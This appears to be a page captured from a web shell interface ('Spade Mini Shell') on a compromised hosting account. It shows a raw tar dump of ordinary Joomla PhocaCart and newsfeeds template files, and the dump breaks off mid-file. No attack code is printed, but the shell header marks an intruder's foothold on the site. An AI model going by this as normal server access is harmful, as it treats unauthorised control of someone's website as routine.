Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/css/ |
| [Home] [System Details] [Kill Me] |
categories/tmpl/default.php000064400000002036151165472750012020
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div id="ph-pc-categories-box"
class="pc-categories-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo $this->t['event']->onCategoriesBeforeHeader;
echo PhocacartRenderFront::renderHeader(array(), '',
$this->t['image_categories_view']);
if ( $this->t['main_description'] != '') {
echo '<div class="ph-desc">'.
$this->t['main_description']. '</div>';
}
if (!empty($this->t['categories'])) {
echo '<div class="ph-categories">';
if ($this->t['categories_view_layout'] == 2) {
echo $this->loadTemplate('colspan');
} else {
echo $this->loadTemplate('standard');
}
echo '</div>'. "\n";
}
echo '</div>';
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>
categories/tmpl/default.xml000064400000003053151165472750012031
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_CATEGORIES_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_CATEGORIES_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_CATEGORIES_LAYOUT</name>
<description>COM_PHOCACART_CATEGORIES_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
<field name="display_categories"
type="phocacartcategory" section="com_phocacart"
default="0"
label="COM_PHOCACART_FIELD_DISPLAY_CATEGORIES_LABEL"
description="COM_PHOCACART_FIELD_DISPLAY_CATEGORIES_DESC"
multiple="true" />
<field name="hide_categories"
type="phocacartcategory" section="com_phocacart"
default="0"
label="COM_PHOCACART_FIELD_HIDE_CATEGORIES_LABEL"
description="COM_PHOCACART_FIELD_HIDE_CATEGORIES_DESC"
multiple="true" />
<field name="show_pagination" type="radio"
class="btn-group btn-group-yesno" default="1"
label="COM_PHOCACART_FIELD_SHOW_PAGINATION_LABEL"
description="COM_PHOCACART_FIELD_SHOW_PAGINATION_DESC">
<option value="0">COM_PHOCACART_HIDE</option>
<option value="1">COM_PHOCACART_DISPLAY</option>
</field>
<field name="show_pagination_top" type="radio"
class="btn-group btn-group-yesno" default="1"
label="COM_PHOCACART_FIELD_SHOW_PAGINATION_TOP_LABEL"
description="COM_PHOCACART_FIELD_SHOW_PAGINATION_TOP_DESC">
<option value="0">COM_PHOCACART_HIDE</option>
<option value="1">COM_PHOCACART_DISPLAY</option>
</field>
</fieldset>
</fields>
</metadata>categories/tmpl/default_items.php000064400000005024151165472750013221
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_newsfeeds
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('bootstrap.tooltip');
?>
<?php $class = ' class="first"'; ?>
<?php if ($this->maxLevelcat != 0 &&
count($this->items[$this->parent->id]) > 0) : ?>
<?php foreach ($this->items[$this->parent->id] as $id =>
$item) : ?>
<?php if
($this->params->get('show_empty_categories_cat') ||
$item->numitems || count($item->getChildren())) : ?>
<?php if (!isset($this->items[$this->parent->id][$id + 1]))
: ?>
<?php $class = ' class="last"'; ?>
<?php endif; ?>
<div<?php echo $class; ?>>
<?php $class = ''; ?>
<h3 class="page-header item-title">
<a href="<?php echo
JRoute::_(NewsfeedsHelperRoute::getCategoryRoute($item->id,
$item->language)); ?>">
<?php echo $this->escape($item->title); ?>
</a>
<?php if ($this->params->get('show_cat_items_cat')
== 1) : ?>
<span class="badge badge-info tip hasTooltip"
title="<?php echo JHtml::_('tooltipText',
'COM_NEWSFEEDS_NUM_ITEMS'); ?>">
<?php echo JText::_('COM_NEWSFEEDS_NUM_ITEMS');
?>
<?php echo $item->numitems; ?>
</span>
<?php endif; ?>
<?php if (count($item->getChildren()) > 0 &&
$this->maxLevelcat > 1) : ?>
<a id="category-btn-<?php echo $item->id; ?>"
href="#category-<?php echo $item->id; ?>"
data-toggle="collapse" data-toggle="button"
class="btn btn-mini pull-right" aria-label="<?php echo
JText::_('JGLOBAL_EXPAND_CATEGORIES'); ?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
</h3>
<?php if ($this->params->get('show_subcat_desc_cat')
== 1) : ?>
<?php if ($item->description) : ?>
<div class="category-desc">
<?php echo JHtml::_('content.prepare',
$item->description, '', 'com_newsfeeds.categories');
?>
</div>
<?php endif; ?>
<?php endif; ?>
<?php if (count($item->getChildren()) > 0 &&
$this->maxLevelcat > 1) : ?>
<div class="collapse fade" id="category-<?php
echo $item->id; ?>">
<?php $this->items[$item->id] = $item->getChildren();
?>
<?php $this->parent = $item; ?>
<?php $this->maxLevelcat--; ?>
<?php echo $this->loadTemplate('items'); ?>
<?php $this->parent = $item->getParent(); ?>
<?php $this->maxLevelcat++; ?>
</div>
<?php endif; ?>
</div>
<?php endif; ?>
<?php endforeach; ?>
<?php endif; ?>
categories/view.html.php000064400000007323151165472750011341
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewCategories extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $s;
public function display($tpl = null) {
$app = JFactory::getApplication();
$model = $this->getModel();
$document = JFactory::getDocument();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$this->t['view'] = 'categories';
$this->t['csv_display_subcategories'] = $this->p->get(
'csv_display_subcategories', 0 );
$this->t['categories'] =
$model->getCategoriesList($this->t['csv_display_subcategories']);
$this->t['csv_display_category_desc'] = $this->p->get(
'csv_display_category_desc', 0 );
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
$this->t['main_description'] = $this->p->get(
'main_description', '' );
$this->t['main_description'] =
PhocacartRenderFront::renderArticle($this->t['main_description']);
$this->t['image_width_cats'] = $this->p->get(
'image_width_cats', '' );
$this->t['image_height_cats'] = $this->p->get(
'image_height_cats', '' );
$this->t['display_view_category_button']=
$this->p->get( 'display_view_category_button', 1 );
$this->t['category_name_link'] = $this->p->get(
'category_name_link', 0 );
$this->t['categories_view_layout'] = $this->p->get(
'categories_view_layout', 1 );
$this->t['lazy_load_categories'] = $this->p->get(
'lazy_load_categories', 0 );
$this->t['medium_image_width'] = $this->p->get(
'medium_image_width', 300 );
$this->t['medium_image_height'] = $this->p->get(
'medium_image_height', 200 );
$this->t['display_webp_images'] = $this->p->get(
'display_webp_images', 0 );
$this->t['image_categories_view'] = $this->p->get(
'image_categories_view', '' );
$this->t['image_categories_view'] =
$this->t['image_categories_view'] != '' ?
JURI::base(true) . '/'.
$this->t['image_categories_view'] : '';
$this->t['class_row_flex'] =
$this->p->get('equal_height', 1) == 1 ?
'ph-row-flex' : '';
$this->t['class_fade_in_action_icons'] =
$this->p->get('fade_in_action_icons', 0) == 1 ?
'b-thumbnail' : '';
$this->t['class_lazyload'] =
$this->t['lazy_load_categories'] == 1 ?
'ph-lazyload' : '';
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadChosen();
$this->t['path'] =
PhocacartPath::getPath('categoryimage');
// Plugins ------------------------------------------
JPluginHelper::importPlugin('pcv');
//$this->t['dispatcher'] = J
EventDispatcher::getInstance();
$this->t['event'] = new stdClass;
$results =
\JFactory::getApplication()->triggerEvent('PCVonCategoriesBeforeHeader',
array('com_phocacart.categories',
&$this->t['categories'], &$this->p));
$this->t['event']->onCategoriesBeforeHeader =
trim(implode("\n", $results));
// END Plugins --------------------------------------
$media->loadSpec();
$this->_prepareDocument();
parent::display($tpl);
echo $media->returnLazyLoad();// Render all bottom scripts // Must be
loaded bottom because of ignoring async in Firefox
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p);
}
}
?>
category/tmpl/default.php000064400000046170151165472750011517
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
defined('_JEXEC') or die();
$layoutC = new JLayoutFile('button_compare', null,
array('component' => 'com_phocacart'));
$layoutW = new JLayoutFile('button_wishlist', null,
array('component' => 'com_phocacart'));
$layoutQVB = new JLayoutFile('button_quickview', null,
array('component' => 'com_phocacart'));
$layoutS = new JLayoutFile('product_stock', null,
array('component' => 'com_phocacart'));
$layoutPOQ = new JLayoutFile('product_order_quantity', null,
array('component' => 'com_phocacart'));
$layoutR = new JLayoutFile('product_rating', null,
array('component' => 'com_phocacart'));
$layoutAI = new JLayoutFile('button_add_to_cart_icon', null,
array('component' => 'com_phocacart'));
$layoutIL = new JLayoutFile('items_list', null,
array('component' => 'com_phocacart'));
$layoutIGL = new JLayoutFile('items_gridlist', null,
array('component' => 'com_phocacart'));
$layoutIG = new JLayoutFile('items_grid', null,
array('component' => 'com_phocacart'));
$layoutAAQ = new JLayoutFile('popup_container_iframe', null,
array('component' => 'com_phocacart'));
// HEADER - NOT AJAX
if (!$this->t['ajax']) {
echo '<div id="ph-pc-category-box"
class="pc-category-view'.$this->p->get(
'pageclass_sfx' ).'">';
$c = isset($this->t['categories']) ?
count($this->t['categories']) : 0;
echo $this->loadTemplate('header');
echo $this->loadTemplate('subcategories');
echo $this->loadTemplate('pagination_top');
echo '<div id="phItemsBox">';
}
// ITEMS a) items displayed by layout plugin, b) items displayed common
way, c) no items found
if (!empty($this->items) &&
$this->t['pluginlayout']) {
$pluginOptions = array();
$eventData = array();
$dLA = array();
$eventData['pluginname'] =
$this->t['category_layout_plugin'];
Factory::getApplication()->triggerEvent('PCLonCategoryGetOptions',
array('com_phocacart.category', &$pluginOptions,
$eventData));
if (isset($pluginOptions['layouttype']) &&
$pluginOptions['layouttype'] != '') {
$this->t['layouttype'] =
PhocacartText::filterValue($pluginOptions['layouttype'],
'alphanumeric5');
}
$lt = $this->t['layouttype'];
$dLA['t'] = $this->t;
$dLA['s'] = $this->s;
echo '<div id="phItems" class="ph-items
'.$lt.'">';
Factory::getApplication()->triggerEvent('PCLonCategoryInsideLayout',
array('com_phocacart.category', &$this->items, $dLA,
$eventData));
echo $this->loadTemplate('pagination');
echo '</div>'. "\n"; // end items
} else if (!empty($this->items)) {
$price = new PhocacartPrice;
$col =
PhocacartRenderFront::getColumnClass((int)$this->t['columns_cat']);
$lt = $this->t['layouttype'];
$i = 1; // Not equal Heights
echo '<div id="phItems" class="ph-items
'.$lt.'">';
echo '<div
class="'.PhocacartRenderFront::completeClass(array($this->s['c']['row'],
$this->t['class_row_flex'],
$this->t['class_lazyload'], $lt)).'">';
foreach ($this->items as $v) {
$label = PhocacartRenderFront::getLabel($v->date, $v->sales,
$v->featured);
$link = JRoute::_(PhocacartRoute::getItemRoute($v->id,
$v->catid, $v->alias, $v->catalias));
// Image data
$attributesOptions = $this->t['hide_attributes_category']
== 0 ? PhocacartAttribute::getAttributesAndOptions((int)$v->id) :
array();
if (!isset($v->additional_image)) { $v->additional_image =
'';}
$image = PhocacartImage::getImageDisplay($v->image,
$v->additional_image, $this->t['pathitem'],
$this->t['switch_image_category_items'],
$this->t['image_width_cat'],
$this->t['image_height_cat'], '', $lt,
$attributesOptions);
// :L: IMAGE
$dI = array();
if (isset($image['image']->rel) &&
$image['image']->rel != '') {
$dI['t'] = $this->t;
$dI['s'] = $this->s;
$dI['product_id'] = (int)$v->id;
$dI['layouttype'] = $lt;
$dI['title'] = $v->title;
$dI['image'] = $image;
$dI['typeview'] = 'Category';
}
// :L: COMPARE
$icon = array();
$icon['compare'] = '';
if ($this->t['display_compare'] == 1) {
$d = array();
$d['s'] = $this->s;
$d['linkc'] = $this->t['linkcomparison'];
$d['id'] = (int)$v->id;
$d['catid'] = $this->t['categoryid'];
$d['return'] = $this->t['actionbase64'];
$d['method'] = $this->t['add_compare_method'];
$icon['compare'] = $layoutC->render($d);
}
// :L: WISHLIST
$icon['wishlist'] = '';
if ($this->t['display_wishlist'] == 1) {
$d = array();
$d['s'] = $this->s;
$d['linkw'] = $this->t['linkwishlist'];
$d['id'] = (int)$v->id;
$d['catid'] = $this->t['categoryid'];
$d['return'] = $this->t['actionbase64'];
$d['method'] = $this->t['add_wishlist_method'];
$icon['wishlist'] = $layoutW->render($d);
}
// :L: QUICKVIEW
$icon['quickview'] = '';
if ($this->t['display_quickview'] == 1) {
$d = array();
$d['s'] = $this->s;
$d['linkqvb'] =
JRoute::_(PhocacartRoute::getItemRoute($v->id, $v->catid,
$v->alias, $v->catalias));
$d['id'] = (int)$v->id;
$d['catid'] =
$this->t['display_products_all_subcategories'] == 1 ?
$v->catid : $this->t['categoryid'];
$d['return'] = $this->t['actionbase64'];
$icon['quickview'] = $layoutQVB->render($d);
}
// :L: PRICE
$dP = array();
$priceItems = array();
if ($this->t['can_display_price']) {
$dP['type'] = $v->type;// PRODUCTTYPE
$priceItems = $price->getPriceItems($v->price, $v->taxid,
$v->taxrate, $v->taxcalculationtype, $v->taxtitle,
$v->unit_amount, $v->unit_unit, 1, 1, $v->group_price);
$price->getPriceItemsChangedByAttributes($priceItems,
$attributesOptions, $price, $v);
$dP['priceitemsorig']= array();
$dP['priceitems'] = $priceItems;
if ($v->price_original != '' &&
$v->price_original > 0) {
$dP['priceitemsorig'] =
$price->getPriceItems($v->price_original, $v->taxid,
$v->taxrate, $v->taxcalculationtype);
}
//$dP['class'] = 'ph-category-price-box '.$lt;
$dP['class'] = 'ph-category-price-box';// Cannot be
dynamic as can change per ajax - this can cause jumping of boxes
$dP['product_id'] = (int)$v->id;
$dP['typeview'] = 'Category';
// Display discount price
// Move standard prices to new variable (product price -> product
discount)
$dP['priceitemsdiscount'] = $dP['priceitems'];
$dP['discount'] =
PhocacartDiscountProduct::getProductDiscountPrice($v->id,
$dP['priceitemsdiscount']);
// Display cart discount (global discount) in product views - under
specific conditions only
// Move product discount prices to new variable (product price ->
product discount -> product discount cart)
$dP['priceitemsdiscountcart'] =
$dP['priceitemsdiscount'];
$dP['discountcart'] =
PhocacartDiscountCart::getCartDiscountPriceForProduct($v->id,
$v->catid, $dP['priceitemsdiscountcart']);
$dP['zero_price'] = 1;// Apply zero price if possible
}
// :L: LINK TO PRODUCT VIEW
$dV = array();
$dV['s'] = $this->s;
$dV['display_view_product_button'] =
$this->t['display_view_product_button'];
if ((int)$this->t['display_view_product_button'] > 0) {
$dV['link'] = $link;
//$dV['display_view_product_button'] =
$this->t['display_view_product_button'];
}
// :L: ADD TO CART
$dA = $dA2 = $dA3 = $dA4 = $dAb = $dF = array();
$icon['addtocart'] = '';
// STOCK ===================================================
// Set stock: product, variations, or advanced stock status
$dSO = '';
$dA['class_btn'] = '';
$dA['class_icon'] = '';
if ($this->t['display_stock_status'] == 2 ||
$this->t['display_stock_status'] == 3) {
$stockStatus = array();
$stock =
PhocacartStock::getStockItemsChangedByAttributes($stockStatus,
$attributesOptions, $v);
if ($this->t['hide_add_to_cart_stock'] == 1 &&
(int)$stock < 1) {
$dA['class_btn'] = 'ph-visibility-hidden';// hide
button
$dA['class_icon'] = 'ph-display-none';// hide
icon
}
if($stockStatus['stock_status'] ||
$stockStatus['stock_count'] !== false) {
$dS = array();
$dS['s'] = $this->s;
$dS['class'] = 'ph-category-stock-box';
$dS['product_id'] = (int)$v->id;
$dS['typeview'] = 'Category';
$dS['stock_status_output'] =
PhocacartStock::getStockStatusOutput($stockStatus);
$dSO = $layoutS->render($dS);
}
if($stockStatus['min_quantity']) {
$dPOQ = array();
$dPOQ['s'] = $this->s;
$dPOQ['text'] =
JText::_('COM_PHOCACART_MINIMUM_ORDER_QUANTITY');
$dPOQ['status'] = $stockStatus['min_quantity'];
$dSO .= $layoutPOQ->render($dPOQ);
}
if($stockStatus['min_multiple_quantity']) {
$dPOQ = array();
$dPOQ['s'] = $this->s;
$dPOQ['text'] =
JText::_('COM_PHOCACART_MINIMUM_MULTIPLE_ORDER_QUANTITY');
$dPOQ['status'] =
$stockStatus['min_multiple_quantity'];
$dSO .= $layoutPOQ->render($dPOQ);
}
}
// END STOCK ================================================
// ------------------------------------
// BUTTONS + ICONS
// ------------------------------------
// Prepare data for Add to cart button
// - Add To Cart Standard Button
// - Add to Cart Icon Button
// - Add to Cart Icon Only
if ((int)$this->t['category_addtocart'] == 1 ||
(int)$this->t['category_addtocart'] == 4 ||
$this->t['display_addtocart_icon'] == 1) {
// FORM DATA
$dF['s'] = $this->s;
$dF['linkch'] = $this->t['linkcheckout'];//
link to checkout (add to cart)
$dF['id'] = (int)$v->id;
// If in category even products from its subcategories can be displayed
then it means that
// that current product does not have to be connected with with this
category view
// so we don't set current category but category based on db
$dF['catid'] =
$this->t['display_products_all_subcategories'] == 1 ?
$v->catid : $this->t['categoryid'];
$dF['return'] = $this->t['actionbase64'];
$dF['typeview'] = 'Category';
$dA['addtocart'] =
$this->t['category_addtocart'];
$dA['addtocart_icon'] =
$this->t['display_addtocart_icon'];
// Both buttons + icon
$dA['s'] = $this->s;
$dA['id'] = (int)$v->id;
$dA['link'] = $link;// link to item (product) view e.g.
when there are required attributes - we cannot add it to cart
$dA['addtocart'] =
$this->t['category_addtocart'];
$dA['method'] = $this->t['add_cart_method'];
$dA['typeview'] = 'Category';
// ATTRIBUTES, OPTIONS
$dAb['s'] = $this->s;
$dAb['attr_options'] = $attributesOptions;
$dAb['hide_attributes'] =
$this->t['hide_attributes_category'];
$dAb['dynamic_change_image'] =
$this->t['dynamic_change_image'];
$dAb['remove_select_option_attribute'] =
$this->t['remove_select_option_attribute'];
$dAb['zero_attribute_price'] =
$this->t['zero_attribute_price'];
$dAb['pathitem'] = $this->t['pathitem'];
$dAb['product_id'] = (int)$v->id;
$dAb['gift_types'] = $v->gift_types;
$dAb['image_size'] = $image['size'];
$dAb['typeview'] = 'Category';
$dAb['price'] = $price;
$dAb['priceitems'] = $priceItems;
// Attribute is required and we don't display it in category/items
view, se we need to redirect to detail view
$dA['selectoptions'] = 0;
if (isset($v->attribute_required) &&
$v->attribute_required == 1 &&
$this->t['hide_attributes_category'] == 1) {
$dA['selectoptions'] = 1;
}
// Add To Cart as Icon
if ($this->t['display_addtocart_icon'] == 1) {
$icon['addtocart'] = $layoutAI->render($dA);
}
}
// Different button or icons
$addToCartHidden = 0;// Design parameter - if there is no button (add to
cart, paddle link, external link), used e.g. for displaying ask a question
button
if ($v->type == 3 &&
(int)$this->t['category_addtocart'] != 104) {
// PRODUCTTYPE - price on demand price cannot be added to cart
$dA = array(); // Skip Standard Add to cart button
$icon['addtocart'] = '';// Skip Add to cart icon
except Quick View Button
$dF = array();// Skip form
$addToCartHidden = 1;
} else if ($this->t['hide_add_to_cart_zero_price'] == 1
&& $v->price == 0) {
// Don't display Add to Cart in case the price is zero
$dA = array(); // Skip Standard Add to cart button
$icon['addtocart'] = '';// Skip Add to cart icon
$dF = array();// Skip form
$addToCartHidden = 1;
} else if ((int)$this->t['category_addtocart'] == 1 ||
(int)$this->t['category_addtocart'] == 4) {
// ADD TO CART BUTTONS - we have data yet
} else if ((int)$this->t['category_addtocart'] == 102
&& (int)$v->external_id != '') {
// EXTERNAL LINK PADDLE
$dA2['t'] = $this->t;
$dA2['s'] = $this->s;
$dA2['external_id'] = (int)$v->external_id;
$dA2['return'] = $this->t['actionbase64'];
$dA = array(); // Skip Standard Add to cart button
$icon['addtocart'] = '';// Skip Add to cart icon
$dF = array();// Skip form
} else if ((int)$this->t['category_addtocart'] == 103
&& $v->external_link != '') {
// EXTERNAL LINK
$dA3['t'] = $this->t;
$dA3['s'] = $this->s;
$dA3['external_link'] = $v->external_link;
$dA3['external_text'] = $v->external_text;
$dA3['return'] = $this->t['actionbase64'];
$dA = array(); // Skip Standard Add to cart button
$icon['addtocart'] = '';// Skip Add to cart icon
$dF = array();// Skip form
} else if ((int)$this->t['category_addtocart'] == 104) {
// QUICK VIEW
$dA4 = array();
$dA4['s'] = $this->s;
$dA4['linkqvb'] =
JRoute::_(PhocacartRoute::getItemRoute($v->id, $v->catid,
$v->alias, $v->catalias));
$dA4['id'] = (int)$v->id;
$dA4['catid'] = $this->t['categoryid'];
$dA4['return'] = $this->t['actionbase64'];
$dA4['button'] = 1;
$dA = array(); // Skip Standard Add to cart button
$icon['addtocart'] = '';// Skip Add to cart icon
$dF = array();// Skip form
} else {
// ADD TO CART ICON ONLY (NO BUTTONS)
$dA = array(); // Skip Standard Add to cart button
// We remove the $dA completely, even for the icon, but the icon has the
data already stored in $icon['addtocart']
// so no problem with removing the data completely
// $dA for button will be rendered
// $dA for icon was rendered already
// Do not skip the form here
$addToCartHidden = 1;
}
// ---------------------------- END BUTTONS
$dQ = array();
if (((int)$this->t['category_askquestion'] == 1) ||
($this->t['category_askquestion'] == 2 &&
((int)$this->t['category_addtocart'] == 0 || $addToCartHidden
!= 0))) {
$dQ['s'] = $this->s;
$dQ['id'] = (int)$v->id;
$dQ['catid'] = $this->t['categoryid'];;
$dQ['popup'] = 0;
$tmpl = '';
if ((int)$this->t['popup_askquestion'] > 0) {
$dQ['popup'] =
(int)$this->t['popup_askquestion'];
$popupAskAQuestion = (int)$this->t['popup_askquestion'];
$tmpl = 'tmpl=component';
}
$dQ['link'] =
JRoute::_(PhocacartRoute::getQuestionRoute($v->id, $v->catid,
$v->alias, $v->catalias, $tmpl));
$dQ['return'] = $this->t['actionbase64'];
}
// ======
// RENDER
// ======
$dL = array();
$dL['t'] = $this->t;
$dL['s'] = $this->s;
$dL['col'] = $col;
$dL['link'] = $link;
$dL['lt'] = $lt;// Layout Type
$dL['layout']['dI'] = $dI;// Image
$dL['layout']['dP'] = $dP;// Price
$dL['layout']['dSO'] = $dSO;// Stock Output
$dL['layout']['dF'] = $dF;// Form
$dL['layout']['dAb'] = $dAb;// Attributes
$dL['layout']['dV'] = $dV;// Link to Product View
$dL['layout']['dA'] = $dA;// Button Add to Cart
$dL['layout']['dA2'] = $dA2;// Button Buy now
$dL['layout']['dA3'] = $dA3;// Button external link
$dL['layout']['dA4'] = $dA4;// Button external link
$dL['layout']['dQ'] = $dQ;// Ask A Question
$dL['icon'] = $icon;// Icons
$dL['product_header'] =
PhocacartRenderFront::renderProductHeader($this->t['product_name_link'],
$v, 'item', '', $lt);
//$dL['product_header'] .= '<div>SKU:
'.$v->sku.'</div>';
//$dL['product_header'] .= '<div>EAN:
'.$v->ean.'</div>';
// Events
$results =
\JFactory::getApplication()->triggerEvent('PCVonCategoryItemAfterAddToCart',
array('com_phocacart.category', &$v, &$this->p));
$dL['event']['onCategoryItemsItemAfterAddToCart'] =
trim(implode("\n", $results));
// LABELS
$dL['labels'] = $label['new'] .
$label['hot'] . $label['feat'];
$tagLabelsOutput = PhocacartTag::getTagsRendered((int)$v->id,
$this->t['category_display_labels']);
if ($tagLabelsOutput != '') {
$dL['labels'] .= $tagLabelsOutput;
}
// REVIEW - STAR RATING
$dL['review'] = '';
if ((int)$this->t['display_star_rating'] > 0) {
$d = array();
$d['s'] = $this->s;
$d['rating'] = isset($v->rating) &&
(int)$v->rating > 0 ? (int)$v->rating : 0;
$d['size'] = 16;
$d['display_star_rating'] =
(int)$this->t['display_star_rating'];
$dL['review'] = $layoutR->render($d);
}
// DESCRIPTION
$dL['description'] = '';
if ($this->t['cv_display_description'] == 1 &&
$v->description != '') {
$dL['description'] = '<div
class="ph-item-desc">' .
Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$v->description) . '</div>';
}
// TAGS
$dL['tags'] = '';
$tagsOutput = PhocacartTag::getTagsRendered((int)$v->id,
$this->t['category_display_tags'], ', ');
if ($tagsOutput != '') {
$dL['tags'] .= $tagsOutput;
}
// MANUFACTURER
$dL['manufacturer'] = '';
if ($this->t['category_display_manufacturer'] > 0
&& (int)$v->manufacturerid > 0 &&
$v->manufacturertitle != '') {
$dL['manufacturer'] .=
PhocacartManufacturer::getManufacturerRendered((int)$v->manufacturerid,
$v->manufacturertitle, $v->manufactureralias,
$this->t['manufacturer_alias'],
$this->t['category_display_manufacturer'], 0, '');
}
if ($lt == 'list') {
echo $layoutIL->render($dL);
} else if ( $lt == 'gridlist') {
echo $layoutIGL->render($dL);
} else {
echo $layoutIG->render($dL);
}
// --------------- END RENDER
if ($i%(int)$this->t['columns_cat'] == 0) {
echo '<div class="ph-cb"></div>';
}
$i++;
}
echo '</div>';// end row (row-flex)
echo '<div class="ph-cb"></div>';
echo $this->loadTemplate('pagination');
echo '</div>'. "\n"; // end items
}
// FOOTER - NOT AJAX
if (!$this->t['ajax']) {
echo '</div>';// end #phItemsBox
echo '</div>';// end #ph-pc-category-box
echo '<div id="phContainer"></div>';
if (isset($popupAskAQuestion) && $popupAskAQuestion == 2) {
echo '<div id="phContainerPopup">';
$d = array();
$d['id'] = 'phAskAQuestionPopup';
$d['title'] =
JText::_('COM_PHOCACART_ASK_A_QUESTION');
$d['icon'] =
$this->s['i']['question-sign'];
$d['t'] = $this->t;
$d['s'] = $this->s;
echo $layoutAAQ->render($d);
echo '</div>';// end phContainerPopup
}
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
}
?>
category/tmpl/default.xml000064400000002675151165472750011532
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_CATEGORY_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_CATEGORY_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_CATEGORY_LAYOUT</name>
<description>COM_PHOCACART_CATEGORY_LAYOUT_DESC</description>
<fields name="request">
<fieldset name="request"
addfieldpath="/administrator/components/com_phocacart/models/fields">
<field name="id" type="phocacartcategory"
section="com_phocacart" default="0"
label="COM_PHOCACART_FIELD_SELECT_CATEGORY_LABEL"
description="COM_PHOCACART_FIELD_SELECT_CATEGORY_DESC"
required="true" />
</fieldset>
</fields>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
<field name="show_pagination" type="radio"
class="btn-group btn-group-yesno" default="1"
label="COM_PHOCACART_FIELD_SHOW_PAGINATION_LABEL"
description="COM_PHOCACART_FIELD_SHOW_PAGINATION_DESC">
<option value="0">COM_PHOCACART_HIDE</option>
<option value="1">COM_PHOCACART_DISPLAY</option>
</field>
<field name="show_pagination_top" type="radio"
class="btn-group btn-group-yesno" default="1"
label="COM_PHOCACART_FIELD_SHOW_PAGINATION_TOP_LABEL"
description="COM_PHOCACART_FIELD_SHOW_PAGINATION_TOP_DESC">
<option value="0">COM_PHOCACART_HIDE</option>
<option value="1">COM_PHOCACART_DISPLAY</option>
</field>
</fieldset>
</fields>
</metadata>category/tmpl/default_children.php000064400000003714151165472750013364
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_newsfeeds
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<?php $class = ' class="first"'; ?>
<?php if ($this->maxLevel != 0 &&
count($this->children[$this->category->id]) > 0) : ?>
<ul>
<?php foreach ($this->children[$this->category->id] as $id
=> $child) : ?>
<?php if ($this->params->get('show_empty_categories')
|| $child->numitems || count($child->getChildren())) : ?>
<?php if (!isset($this->children[$this->category->id][$id +
1])) : ?>
<?php $class = ' class="last"'; ?>
<?php endif; ?>
<li<?php echo $class; ?>>
<?php $class = ''; ?>
<span class="item-title">
<a href="<?php echo
JRoute::_(NewsfeedsHelperRoute::getCategoryRoute($child->id));
?>">
<?php echo $this->escape($child->title); ?>
</a>
</span>
<?php if ($this->params->get('show_subcat_desc') ==
1) : ?>
<?php if ($child->description) : ?>
<div class="category-desc">
<?php echo JHtml::_('content.prepare',
$child->description, '', 'com_newsfeeds.category');
?>
</div>
<?php endif; ?>
<?php endif; ?>
<?php if ($this->params->get('show_cat_items') ==
1) : ?>
<dl class="newsfeed-count">
<dt>
<?php echo JText::_('COM_NEWSFEEDS_CAT_NUM'); ?>
</dt>
<dd>
<?php echo $child->numitems; ?>
</dd>
</dl>
<?php endif; ?>
<?php if (count($child->getChildren()) > 0) : ?>
<?php $this->children[$child->id] =
$child->getChildren(); ?>
<?php $this->category = $child; ?>
<?php $this->maxLevel--; ?>
<?php echo $this->loadTemplate('children'); ?>
<?php $this->category = $child->getParent(); ?>
<?php $this->maxLevel++; ?>
<?php endif; ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
<?php endif;
category/tmpl/default_items.php000064400000007430151165472750012714
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_newsfeeds
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$n = count($this->items);
$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirn =
$this->escape($this->state->get('list.direction'));
?>
<?php if (empty($this->items)) : ?>
